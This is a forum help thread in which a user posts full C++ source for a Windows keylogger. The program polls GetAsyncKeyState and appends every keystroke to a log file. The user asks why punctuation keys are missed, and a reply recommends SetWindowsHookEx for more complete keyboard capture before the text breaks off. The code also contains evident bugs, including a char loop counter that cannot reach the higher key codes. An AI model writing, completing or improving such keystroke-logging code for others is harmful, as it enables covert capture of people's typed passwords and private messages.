Hey guys. I am trying to write a keylogger and addvancing my C++ knowledge at the same time.

The problem i have is that it seems like i cant read VK_OEM keys nad punctuation keys ( the ones that correspond to ,./;'[] in the keyboard). Other keys are read fine (numbers, letters, numpad). I think its not a writing to the file error because i can see the input that this program reads.


when i press those buttons it doesnt write correspondent codes in the console.

MY CODE :

Code:

#include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int Save (int key_stroke, char *file); int isCapsLock(); int main(){ char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"Log_test.txt"); } } system ("PAUSE"); return 0; } int Save (int key_stroke, char *file) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); cout << key_stroke << endl; if ((key_stroke>=39)&&(key_stroke<=64)) // 0-9 { if (GetAsyncKeyState(VK_SHIFT)) // 0-9 + shift { switch (key_stroke) { case 0x30: fprintf(OUTPUT_FILE,"%s",(")")); break; case 0x31: fprintf(OUTPUT_FILE,"%s",("!")); break; case 0x32: fprintf(OUTPUT_FILE,"%s",("@")); break; case 0x33: fprintf(OUTPUT_FILE,"%s",("#")); break; case 0x34: fprintf(OUTPUT_FILE,"%s",("$")); break; case 0x35: fprintf(OUTPUT_FILE,"%s",("%")); break; case 0x36: fprintf(OUTPUT_FILE,"%s",("^")); break; case 0x37: fprintf(OUTPUT_FILE,"%s",("&")); break; case 0x38: fprintf(OUTPUT_FILE,"%s",("*")); break; case 0x39: fprintf(OUTPUT_FILE,"%s",("(")); break; } }else{ fprintf(OUTPUT_FILE,"%c",key_stroke); // 0-9 w/o shift } } else if ((key_stroke>64)&&(key_stroke<91)) // "A-Z" { if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // if not shift nor casps lock { key_stroke += 32; // transform to "a-z" } fprintf(OUTPUT_FILE,"%c",key_stroke); } else { switch (key_stroke) // check for other keys { case VK_SPACE: fprintf(OUTPUT_FILE,"%s"," "); break; case VK_LCONTROL: case VK_RCONTROL: fprintf(OUTPUT_FILE,"%s","[CTRL]"); case VK_LMENU: case VK_RMENU: fprintf(OUTPUT_FILE,"%s","[ALT]"); break; case VK_INSERT: fprintf(OUTPUT_FILE,"%s","[Insert]"); break; case VK_DELETE: fprintf(OUTPUT_FILE,"%s","[DELETE]"); break; // NUMPAD case VK_NUMPAD0: fprintf(OUTPUT_FILE,"%s","0"); break; case VK_NUMPAD1: fprintf(OUTPUT_FILE,"%s","1"); break; case VK_NUMPAD2: fprintf(OUTPUT_FILE,"%s","2"); break; case VK_NUMPAD3: fprintf(OUTPUT_FILE,"%s","3"); break; case VK_NUMPAD4: fprintf(OUTPUT_FILE,"%s","4"); break; case VK_NUMPAD5: fprintf(OUTPUT_FILE,"%s","5"); break; case VK_NUMPAD6: fprintf(OUTPUT_FILE,"%s","6"); break; case VK_NUMPAD7: fprintf(OUTPUT_FILE,"%s","7"); break; case VK_NUMPAD8: fprintf(OUTPUT_FILE,"%s","8"); break; case VK_NUMPAD9: fprintf(OUTPUT_FILE,"%s","9"); break; // end of numpad case 0xBA: // VK_OEM_1 if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", ":"); else fprintf(OUTPUT_FILE,"%s", ";"); break; case VK_OEM_2: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "?"); else fprintf(OUTPUT_FILE,"%s", "/"); break; case VK_OEM_3: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "~"); else fprintf(OUTPUT_FILE,"%s", "`"); break; case VK_OEM_4: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "{"); else fprintf(OUTPUT_FILE,"%s", "["); break; case VK_OEM_5: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "|"); else fprintf(OUTPUT_FILE,"%s", "\\"); break; case VK_OEM_6: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "}"); else fprintf(OUTPUT_FILE,"%s", "]"); break; case VK_OEM_7: if(GetAsyncKeyState(VK_SHIFT)) fprintf(OUTPUT_FILE,"%s", "\""); else fprintf(OUTPUT_FILE,"%s", "\'"); break; } } return 0; } int isCapsLock(){ if ((GetKeyState(VK_CAPITAL) & 0x0001) !=0 ) { return 1; }else{ return 0; } }

I really hope somebody can help me.

edit : -=` buttons also dont work

The main reason is that reading keyboard that way requires you to use SetWindowsHookEx function. An alternative would be to save everything inside a string and then writing to a file. That way you would have no problem achieving your task but i wouldn't recommend it.

Since i see from the headers you included, that you are using Windows, a standard way to do this would be using SetWindowsHookEx function which allows you to monitor keyboard input. Take a look at the API:
